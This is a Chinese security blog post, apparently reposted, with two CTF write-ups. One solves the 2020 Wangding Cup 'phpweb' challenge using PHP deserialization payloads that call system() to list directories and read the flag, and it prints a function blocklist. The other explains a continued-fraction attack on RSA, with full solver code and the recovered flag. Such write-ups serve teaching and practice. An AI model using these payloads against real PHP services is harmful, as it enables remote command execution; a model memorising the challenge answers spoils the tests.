万彬彬 | ctfhub 2020 网鼎杯phpweb
Aurorn | 连分数攻击
ctfhub 2020 网鼎杯phpweb
①题目：
进入题目，发现没有提供与后台交互的地方。
后来发现页面中的表单在自动提交，提交的内容是date函数和date函数的参数，所以后端可能将发送的数据作为函数和函数的参数执行。
抓包拦截，发现这里应该运用到了call_user_func(函数名，参数)函数。
先尝试下eval函数，发现被拦了
这时考虑读取index的源码，方法有三种（咱就是说第一次没想到有这么多，复现搜wp的时候才发现这么多）
-
file_get_contents函数 -
readfile()函数 -
highlight_file函数 这里我用到的是readfile()
代码审计：
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
"escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
"array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
"array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
);
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
这里的Test没有对参数进行验证，且调用了魔术函数，而且黑名单之中没有unserialize()，则是要求我们要构造反序列化去绕过。
这时我们用ls 查看每个目录 构造
<?php
class Test {
var $func = "system";
var $p = "ls /";
}
$a = new Test();
echo serialize($a);
?>
结果：
O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
得到payload：func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}传入后得到：
找到了/flag_2529220351
最后找到flag
反序列化前的语句：cat /flag_2529220351
Payload：func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:20:"cat /flag_2529220351";}
最终得到flag
②总结 这道题重点在于发现PHP date函数，从而想到使用了call_user_func函数并利用反序列化绕过，难度相对简单（我悟了😊）。③参考资料
-
data函数：PHP: date - Manual -
call_user_func函数：PHP: call_user_func - Manual -
php反序列化：一篇文章带你了解反序列化漏洞 - FreeBuf网络安全行业门户
连分数攻击
事实上，任何一个有理数都可以分解为连分数的形式
上式中a,b,q1,q2,q3,...,qn,都是非负整数。把[q1,q2,...,qk],1<=k<=n,称为a/b的第k个渐进分数，容易看出
a/b=[q1,q2,q3,...,qk],称[q1,q2,q3,...,qk]为连分数a/b的展式。
对一个分数做连分数展开就是在对分子分母做辗转相除,例如
所以72/28展开为连分数为
勒让德定理：
假设,那么在x的连分数逼近展开中，如果有|x - b/c| < ，其中gcd(b,c)==1,那么可以认为是x的连分数展开中其中一项的值。
利用逼近原理对RSA密码体制进行有效低解密指数的攻击与实现：
假定n =p*q,p和q为素数,phi=(p-1)(q-1) 且 ed1(mod phi), 3a < n^(1/4),且q< p <2q.也就是说，如果n的二进制表示长为α比特,那么当a的二进制表示的位数小于x/4 - 1比特,且 p和q相距很近时就可以进行有效攻击.在此条件下,解密指数d的计算方法如下:
由于， e*d1(mod phi) 可知存在一个整数t使得
由于 则有因此 0<n-phi=p+q-1<2q+q-1<3q<从而
由于，t<d,则有 3t<3d<n^因此
由于3d<n^，可得
根据有理数的最佳逼近原理,分数t/d是分数e/n的一个最佳渐近分数.n和 e是公钥,很容易计算出它的收敛子来. 通过计算:
并解以下方程:
则可以完全分解模n了。
def transform(x, y): # 使用辗转相除将分数x/y转为连分数的形式
res = []
while y:
res.append(x // y)
x, y = y, x % y
return res
def continued_fraction(sub_res):
numerator, denominator = 1, 0
for i in sub_res[::-1]: # 从sublist的后面往前循环
denominator, numerator = numerator, i * numerator + denominator
return denominator, numerator # 得到渐进分数的分母和分子，并返回
# 求解每个渐进分数
def sub_fraction(x, y):
res = transform(x, y)
res = list(map(continued_fraction, (res[0:i] for i in range(1, len(res))))) # 将连分数的结果逐一截取以求渐进分数
return res
def wienerAttack(n1, n2):
for (q2, q1) in sub_fraction(n1, n2): # 用一个for循环来注意试探n1/n2的连续函数的渐进分数，直到找到一个满足条件的渐进分数
if q1 == 0: # 可能会出现连分数的第一个为0的情况，排除
continue
if n1 % q1 == 0 and q1 != 1: # 成立条件
return (q1, q2)
print("该方法不适用")
引入一道例题：
第七届“湖湘杯”Crypto的signin
附件：
from Crypto.Util.number import *
from secret import flag
import random
m1 = bytes_to_long(flag[:len(flag) // 2])
m2 = bytes_to_long(flag[len(flag) // 2:])
def gen(pbits, qbits):
p1, q1 = getPrime(pbits), getPrime(qbits)
n1 = p1**4*q1
q2 = getPrime(qbits)
bound = p1 // (8*q1*q2) + 1
p2 = random.randrange(p1, p1 + bound)
while not isPrime(p2):
p2 = random.randrange(p1, p1 + bound)
n2 = p2**4*q2
return (n1, n2), (p1, q1), (p2, q2)
e = 0x10001
pbits = int(360)
qbits = int(128)
pk, sk1, sk2 = gen(pbits, qbits)
c1 = pow(m1, e, pk[0])
c2 = pow(m2, e, pk[1])
print(f'pk = {pk}')
print(f'c1, c2 = {c1, c2}')
"""
pk = (1150398070565459492080597718626032792435556703413923483458704675295997646493249759818468321328556510074044954676615760446708253531839417036997811506222349194302791943489195718713797322878586379546657275419261647635859989280700191441312691274285176619391539387875252135478424580680264554294179123254566796890998243909286508189826458854346825493157697201495100628216832191035903848391447704849808577310612723700318670466035077202673373956324725108350230357879374234418393233, 1242678737076048096780023147702514112272319497423818488193557934695583793070332178723043194823444815153743889740338870676093799728875725651036060313223096288606947708155579060628807516053981975820338028456770109640111153719903207363617099371353910243497871090334898522942934052035102902892149792570965804205461900841595290667647854346905445201396273291648968142608158533514391348407631818144116768794595226974831093526512117505486679153727123796834305088741279455621586989)
c1, c2 = (361624030197288323178211941746074961985876772079713896964822566468795093475887773853629454653096485450671233584616088768705417987527877166166213574572987732852155320225332020636386698169212072312758052524652761304795529199864805108000796457423822443871436659548626629448170698048984709740274043050729249408577243328282313593461300703078854044587993248807613713896590402657788194264718603549894361488507629356532718775278399264279359256975688280723740017979438505001819438, 33322989148902718763644384246610630825314206644879155585369541624158380990667828419255828083639294898100922608833810585530801931417726134558845725168047585271855248605561256531342703212030641555260907310067120102069499927711242804407691706542428236208695153618955781372741765233319988193384708525251620506966304554054884590718068210659709406626033891748214407992041364462525367373648910810036622684929049996166651416565651803952838857960054689875755131784246099270581394)
"""
大体分析一下，题目将flag分成两部分，然后生成两个大素数p1,p2，随后继续生成两个相邻的大素数q1,q2。N1的生成是p1的4次方和q1相乘得到的，N2的生成是p2的4次方和q2相乘而来。再采用一个比较小的e进行加密。由于题目仅仅只是给了N1，N2，c1，c2。由于p1,p2差距很小并且二者之比接近为1，但是q1,q2的大小并不知道，并且
所以
并且
这时候我们就可以通过连分数构造出的连分数列，套用板子直接分解出q1,q2
完整代码：
import gmpy2
from Crypto.Util.number import *
def transform(x, y): # 使用辗转相除将分数x/y转为连分数的形式
res = []
while y:
res.append(x // y)
x, y = y, x % y
return res
def continued_fraction(sub_res):
numerator, denominator = 1, 0
for i in sub_res[::-1]: # 从sublist的后面往前循环
denominator, numerator = numerator, i * numerator + denominator
return denominator, numerator # 得到渐进分数的分母和分子，并返回
# 求解每个渐进分数
def sub_fraction(x, y):
res = transform(x, y)
res = list(map(continued_fraction, (res[0:i] for i in range(1, len(res))))) # 将连分数的结果逐一截取以求渐进分数
return res
def wienerAttack(n1, n2):
for (q2, q1) in sub_fraction(n1, n2): # 用一个for循环来注意试探n1/n2的连续函数的渐进分数，直到找到一个满足条件的渐进分数
if q1 == 0: # 可能会出现连分数的第一个为0的情况，排除
continue
if n1 % q1 == 0 and q1 != 1: # 成立条件
return (q1, q2)
print("该方法不适用")
e = 0x10001
c1 = 361624030197288323178211941746074961985876772079713896964822566468795093475887773853629454653096485450671233584616088768705417987527877166166213574572987732852155320225332020636386698169212072312758052524652761304795529199864805108000796457423822443871436659548626629448170698048984709740274043050729249408577243328282313593461300703078854044587993248807613713896590402657788194264718603549894361488507629356532718775278399264279359256975688280723740017979438505001819438
c2 = 33322989148902718763644384246610630825314206644879155585369541624158380990667828419255828083639294898100922608833810585530801931417726134558845725168047585271855248605561256531342703212030641555260907310067120102069499927711242804407691706542428236208695153618955781372741765233319988193384708525251620506966304554054884590718068210659709406626033891748214407992041364462525367373648910810036622684929049996166651416565651803952838857960054689875755131784246099270581394
N1 = 1150398070565459492080597718626032792435556703413923483458704675295997646493249759818468321328556510074044954676615760446708253531839417036997811506222349194302791943489195718713797322878586379546657275419261647635859989280700191441312691274285176619391539387875252135478424580680264554294179123254566796890998243909286508189826458854346825493157697201495100628216832191035903848391447704849808577310612723700318670466035077202673373956324725108350230357879374234418393233
N2 = 1242678737076048096780023147702514112272319497423818488193557934695583793070332178723043194823444815153743889740338870676093799728875725651036060313223096288606947708155579060628807516053981975820338028456770109640111153719903207363617099371353910243497871090334898522942934052035102902892149792570965804205461900841595290667647854346905445201396273291648968142608158533514391348407631818144116768794595226974831093526512117505486679153727123796834305088741279455621586989
q1, q2 = wienerAttack(N1, N2)
p1 = gmpy2.iroot(N1 // q1, 4)[0]
p2 = gmpy2.iroot(N2 // q2, 4)[0]
phi1 = p1 ** 3 * (p1 - 1) * (q1 - 1)
phi2 = p2 ** 3 * (p2 - 1) * (q2 - 1)
d1 = gmpy2.invert(e, phi1)
d2 = gmpy2.invert(e, phi2)
print(long_to_bytes(pow(c1, d1, N1)) + long_to_bytes(pow(c2, d2, N2)))
第二种方法：sage内实现连分数
1、利用sagemath计算N1,N2的连分数
c = continued_fraction(N1/N2)
print(c)
2、计算连分数逼近
alist = c.convergents()
print(alist)
3、用n%q == 0进行筛选
for i in alist:
a = str(i).split('/')
try:
if gcd(int(a[0]),int(a[1])) == 1 and N1 % int(a[0])==0:
print(a)
expect:
pass
可以看到里面有两组数据，其中一组是q，另一组是n。
解出q后的步骤和上面方法是一样的，这里我就不继续了。
最后得到的flag为：flag{8ef333ac-21a7-11ec-80f1-00155d83f114}
原文始发于微信公众号（火炬木攻防实验室）：2020 网鼎杯phpweb & 连分数攻击
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论